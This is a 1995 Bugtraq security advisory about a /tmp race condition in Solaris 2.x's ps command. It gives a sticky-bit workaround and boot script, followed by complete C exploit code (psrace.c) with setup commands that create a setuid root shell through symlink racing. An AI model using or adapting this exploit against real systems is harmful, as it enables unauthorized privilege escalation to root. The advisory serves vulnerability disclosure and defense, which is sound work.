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- B U G T R A Q A L E R T bugtraq-alert-081495.01
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- August 14, 1995
- ===========================================================================
-
- OPERATING SYSTEM(S):
-
- Solaris 2.x (Sunos 5.x)
-
- DESCRIPTION:
-
- A race condition exists in /usr/bin/ps when ps opens a temporary
- file when executed. After opening the file, /usr/bin/ps chown's the
- temporary file to root and the renames it to /tmp/ps_data.
-
- WORKAROUND:
-
- chmod +t /tmp
-
- Unfortunately this may not solve the entire problem. If your
- machine is rebooted and you are mounting swap as /tmp (most cases)
- the sticky-bit on your /tmp directory will disappear. Normally
- the boot script /etc/rc2.d/S05RMTMPFILES should be doing this
- work but will not if you are mounting your /tmp directory.
-
- The following is a bootup script should be added to ensure that
- the sticky bit stays.
-
- This file should be called /etc/rc3.d/S79tmpfix
-
- 8<------------------------- cut here -------------------------
-
- #!/bin/sh
- #ident "@(#)tmpfix 1.0 95/09/14"
-
- if [ -d /tmp ]
- then
- /usr/bin/chmod 1777 /tmp
- /usr/bin/chgrp sys /tmp
- /usr/bin/chown sys /tmp
- fi
-
- 8<------------------------- cut here -------------------------
-
-
- EXPLOIT:
-
- The following is exploit code that will allow you to change any
- file on a Solaris 2.x machine to uid 0 (as well as setuid files).
-
-
- 8<------------------------- cut here -------------------------
-
- /*
- * psrace.c
- *
- * Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
- *
- * This material is copyrighted by Scott Chasin, 1995. The
- * usual standard disclaimer applies, especially the fact that the
- * author is not liable for any damages caused by direct or indirect
- * use of the information or functionality provided by this program.
- *
- * [ For solaris2.x only ]
- *
- * After compiling psrace, run the following commands:
- *
- * cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
- * /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
- * ./psrace $HOME/rootshell
- *
- * (Ignore any errors you get from ps)
- * You may have to wait a few minutes before the race is won.
- */
-
- #include <stdio.h>
- #include <sys/types.h>
-
- #include <dirent.h>
- #include <sys/stat.h>
-
- main (argc, argv)
- int argc;
- char **argv;
- {
- int count = 0;
- DIR *dirp;
- struct dirent *dp;
- struct stat fileinfo;
- char targetfile [85], name [85];
-
- if (argc != 2)
- {
- printf ("Usage: psrace [/full/path/to/target/filename]\n");
- exit (1);
- }
-
- if (access (argv[1], 0))
- {
- printf ("psrace: %s does not exist.\n", argv[1]);
- exit (1);
- }
-
- strcpy (targetfile, argv[1]);
-
- stat ("/tmp", &fileinfo);
- if (fileinfo.st_mode & S_ISVTX)
- {
- printf ("psrace: Congratulations! You already have the fix in place.\n");
- printf ("psrace: (/tmp has the sticky-bit set)\n");
- exit (1);
- }
-
- printf ("Be patient, this could take awhile.\n");
- printf ("Starting the race .. ");
- fflush (stdout);
-
- dirp = opendir ("/tmp");
-
- for (;;)
- {
- unlink ("/tmp/ps_data");
-
- while ((dp = readdir (dirp)) != NULL)
- {
- if (!strncmp (dp->d_name, "ps.", 3))
- {
- sprintf (name, "/tmp/%s", dp->d_name);
- unlink (name);
-
- symlink (targetfile, name);
-
- if (stat (targetfile, &fileinfo) >= 0)
- if (fileinfo.st_uid == 0)
- {
- printf ("We WON!\n");
- closedir (dirp);
- clean_up ();
- }
- }
- }
- rewinddir (dirp);
- }
- }
-
-
- clean_up ()
- {
- DIR *dirp;
- struct dirent *dp;
- char name [25];
-
- dirp = opendir ("/tmp");
-
- while ((dp = readdir (dirp)) != NULL)
- if (!strncmp (dp->d_name, "ps.", 3))
- {
- sprintf (name, "/tmp/%s", dp->d_name);
- unlink (name);
- }
- closedir (dirp);
-
- unlink ("/tmp/ps_data");
- exit (0);
- }
-
- 8<------------------------- cut here -------------------------
-
-
- ===========================================================================
-
- A thanks goes out to Neil Readwin (nreadwin@micrognosis.co.uk) who provided
- a few ideas in making the exploit code a bit more "enhanced".
-
- For questions regarding this alert, please feel free to mail me.
- For more discussion on this alert:
-
- bugtraq@crimelab.com Bugtraq reflector list
- bugtraq-request@crimelab.com Information / Request address
-
-
- Scott Chasin
- chasin@crimelab.com
-
-
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